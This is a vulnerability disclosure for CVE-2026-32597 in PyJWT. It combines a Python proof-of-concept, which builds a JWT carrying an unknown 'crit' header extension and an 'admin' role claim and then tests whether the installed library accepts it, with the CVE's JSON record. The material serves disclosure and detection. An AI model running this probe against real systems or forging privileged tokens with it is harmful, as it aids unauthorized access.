CVE-2026-32597

import jwt import json # CVE-2026-32597 PoC - PyJWT Critical Header Parameter Bypass # This PoC demonstrates how PyJWT < 2.12.0 accepts JWS tokens with unknown crit extensions def create_malicious_token(): """ Create a malicious JWT token with an unknown critical extension. PyJWT < 2.12.0 will incorrectly accept this token instead of rejecting it. """ # Token header with crit array containing unknown extension header = { "alg": "HS256", "typ": "JWT", "crit": ["x-unknown-extension"], # Unknown extension that should cause rejection "x-unknown-extension": "malicious-value" } # Payload with elevated privileges payload = { "sub": "attacker", "role": "admin", "iat": 1516239022 } # Create token (this should be rejected but isn't in vulnerable versions) secret = "test-secret" token = jwt.encode(payload, secret, algorithm="HS256", headers=header) print(f"[+] Created malicious token: {token}") return token def verify_token_vulnerable(token): """ Attempt to verify the token using vulnerable PyJWT version. """ secret = "test-secret" try: # In vulnerable version, this will succeed even with unknown crit extension decoded = jwt.decode(token, secret, algorithms=["HS256"]) print(f"[!] Token accepted (VULNERABLE): {decoded}") return True except jwt.InvalidSignatureError: print("[-] Signature verification failed") return False except Exception as e: print(f"[-] Token rejected: {e}") return False def check_crit_validation(): """ Check if the installed PyJWT version properly validates crit parameter. """ print(f"PyJWT version: {jwt.__version__}") # Create token with unknown critical extension token = create_malicious_token() # Try to decode - should fail if properly implemented accepted = verify_token_vulnerable(token) if accepted: print("[!] System is VULNERABLE to CVE-2026-32597") else: print("[+] System is NOT vulnerable (crit parameter is properly validated)") if __name__ == "__main__": check_crit_validation()

{"cve": {"id": "CVE-2026-32597", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:55:09.500", "lastModified": "2026-05-05T18:16:02.140", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "PyJWT is a JSON Web Token implementation in Python. Prior to 2.12.0, PyJWT does not validate the crit (Critical) Header Parameter defined in RFC 7515 §4.1.11. When a JWS token contains a crit array listing extensions that PyJWT does not understand, the library accepts the token instead of rejecting it. This violates the MUST requirement in the RFC. This vulnerability is fixed in 2.12.0."}, {"lang": "es", "value": "PyJWT es una implementación de JSON Web Token en Python. Antes de la 2.12.0, PyJWT no valida el parámetro de encabezado crit (Crítico) definido en la RFC 7515 §4.1.11. Cuando un token JWS contiene un array crit que lista extensiones que PyJWT no entiende, la biblioteca acepta el token en lugar de rechazarlo. Esto viola el requisito MUST en la RFC. Esta vulnerabilidad está corregida en la 2.12.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-345"}, {"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pyjwt_project:pyjwt:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.12.0", "matchCriteriaId": "D2DD4AAA-0853-4F5A-A6BA-DB29F584BD6E"}]}]}], "references": [{"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-752w-5fwx-jx9f", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://lists.debian.org/debian-lts-announce/2026/05/msg00008.html", "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-752w-5fwx-jx9f", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}